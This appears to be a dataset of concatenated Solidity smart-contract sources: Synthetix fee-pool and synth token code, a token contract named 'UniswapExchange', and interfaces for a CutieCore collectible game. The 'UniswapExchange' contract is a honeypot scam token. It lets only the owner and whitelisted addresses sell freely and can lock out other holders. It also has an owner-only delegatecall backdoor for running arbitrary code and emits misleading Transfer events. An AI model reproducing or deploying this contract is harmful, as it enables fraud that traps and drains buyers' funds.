uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees = feesAvailable(messageSender, "XDR");
require(availableFees > 0, "No fees available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
_recordFeePayment(availableFees);
_payFees(messageSender, availableFees, currencyKey);
emitFeesClaimed(messageSender, availableFees);
return true;
}
function _recordFeePayment(uint xdrAmount)
internal
{
uint remainingToAllocate = xdrAmount;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
if (remainingToAllocate == 0) return;
}
}
assert(remainingToAllocate == 0);
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit()));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint)
{
uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i]);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
}
return SEVENTY_FIVE_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[FEE_PERIOD_LENGTH])
{
uint[FEE_PERIOD_LENGTH] memory result;
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account);
if (initialDebtOwnership == 0) return result;
uint totalSynths = synthetix.totalIssuedSynths("XDR");
if (totalSynths == 0) return result;
uint debtBalance = synthetix.debtBalanceOf(account, "XDR");
uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths);
uint penalty = currentPenalty(account);
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute
.multiplyDecimal(userOwnershipPercentage);
uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod);
result[i] = feesFromPeriod;
}
}
return result;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
}
contract Synth is ExternStateToken {
FeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(FeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
} | 0 | 955 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,579 |
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.23;
contract PluginInterface
{
function isPluginInterface() public pure returns (bool);
function onRemove() public;
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
) external payable;
function withdraw() external;
}
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
interface ConfigInterface
{
function isConfig() external pure returns (bool);
function getCooldownIndexFromGeneration(uint16 _generation, uint40 _cutieId) external view returns (uint16);
function getCooldownEndTimeFromIndex(uint16 _cooldownIndex, uint40 _cutieId) external view returns (uint40);
function getCooldownIndexFromGeneration(uint16 _generation) external view returns (uint16);
function getCooldownEndTimeFromIndex(uint16 _cooldownIndex) external view returns (uint40);
function getCooldownIndexCount() external view returns (uint256);
function getBabyGenFromId(uint40 _momId, uint40 _dadId) external view returns (uint16);
function getBabyGen(uint16 _momGen, uint16 _dadGen) external pure returns (uint16);
function getTutorialBabyGen(uint16 _dadGen) external pure returns (uint16);
function getBreedingFee(uint40 _momId, uint40 _dadId) external view returns (uint256);
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
ConfigInterface public config;
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
function createSaleAuction(
uint40 _cutieId,
uint128 _startPrice,
uint128 _endPrice,
uint40 _duration
)
public;
function getApproved(uint256 _tokenId) external returns (address);
function totalSupply() view external returns (uint256);
function createPromoCutie(uint256 _genes, address _owner) external;
function checkOwnerAndApprove(address _claimant, uint40 _cutieId, address _pluginsContract) external view;
function breedWith(uint40 _momId, uint40 _dadId) public payable returns (uint40);
function getBreedingFee(uint40 _momId, uint40 _dadId) public view returns (uint256);
function restoreCutieToAddress(uint40 _cutieId, address _recipient) external;
function createGen0Auction(uint256 _genes, uint128 startPrice, uint128 endPrice, uint40 duration) external;
function createGen0AuctionWithTokens(uint256 _genes, uint128 startPrice, uint128 endPrice, uint40 duration, address[] allowedTokens) external;
function createPromoCutieWithGeneration(uint256 _genes, address _owner, uint16 _generation) external;
function createPromoCutieBulk(uint256[] _genes, address _owner, uint16 _generation) external;
}
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
contract Operators
{
mapping (address=>bool) ownerAddress;
mapping (address=>bool) operatorAddress;
constructor() public
{
ownerAddress[msg.sender] = true;
}
modifier onlyOwner()
{
require(ownerAddress[msg.sender]);
_;
}
function isOwner(address _addr) public view returns (bool) {
return ownerAddress[_addr];
}
function addOwner(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
ownerAddress[_newOwner] = true;
}
function removeOwner(address _oldOwner) external onlyOwner {
delete(ownerAddress[_oldOwner]);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address _addr) public view returns (bool) {
return operatorAddress[_addr] || ownerAddress[_addr];
}
function addOperator(address _newOperator) external onlyOwner {
require(_newOperator != address(0));
operatorAddress[_newOperator] = true;
}
function removeOperator(address _oldOperator) external onlyOwner {
delete(operatorAddress[_oldOperator]);
}
}
contract PausableOperators is Operators {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
